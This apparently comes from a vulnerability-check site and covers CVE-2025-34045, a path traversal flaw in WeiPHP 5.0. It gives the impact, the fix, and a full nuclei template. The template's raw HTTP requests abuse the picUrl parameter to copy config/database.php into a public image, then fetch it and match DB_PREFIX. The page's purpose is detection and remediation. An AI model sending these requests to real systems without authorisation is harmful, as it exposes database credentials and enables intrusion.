WeiPHP 5.0 - Path Traversal

highseverity

8.6CVSS score

4.2%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

WeiPHP 5.0 contains a path traversal caused by insufficient input validation of the picUrl parameter in /public/index.php/material/Material/_download_imgage, letting unauthenticated remote attackers read arbitrary files.

Impact

Unauthenticated attackers can read arbitrary files including database configuration files through path traversal in the picUrl parameter, potentially exposing sensitive credentials.

Fix

Upgrade to WeiPHP version 5.1 or later that properly validates file paths in the Material API.

How to confirm it

Send: POST /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php ; GET /public/index.php/home/file/user_pics ; GET {{endpoint}}
Positive when: contains "https://weiphp.cn" and "WeiPHP" and "DB_PREFIX"

Run it with nuclei: nuclei -id CVE-2025-34045 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2025-34045

info:
  name: WeiPHP 5.0 - Path Traversal
  author: pikpikcu
  severity: high
  description: |
    WeiPHP 5.0 contains a path traversal caused by insufficient input validation of the picUrl parameter in /public/index.php/material/Material/_download_imgage, letting unauthenticated remote attackers read arbitrary files.
  impact: |
    Unauthenticated attackers can read arbitrary files including database configuration files through path traversal in the picUrl parameter, potentially exposing sensitive credentials.
  remediation: |
    Upgrade to WeiPHP version 5.1 or later that properly validates file paths in the Material API.
  reference:
    - http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E5%89%8D%E5%8F%B0%E6%96%87%E4%BB%B6%E4%BB%BB%E6%84%8F%E8%AF%BB%E5%8F%96%20CNVD-2020-68596.html
    - https://vulncheck.com/advisories/weiphp-path-traversal-file-read
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cwe-id: CWE-22
  metadata:
    max-request: 3
  tags: cve,cve2025,weiphp,lfi,vuln,vkev

http:
  - raw:
      - |
        POST /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        "1":1

      - |
        GET /public/index.php/home/file/user_pics HTTP/1.1
        Host: {{Hostname}}

      - |
        GET {{endpoint}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: endpoint
        part: body
        regex:
          - '/public/uploads/picture/(.*.jpg)'
        internal: true

    matchers:
      - type: word
        part: body
        words:
          - https://weiphp.cn
          - WeiPHP
          - DB_PREFIX
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from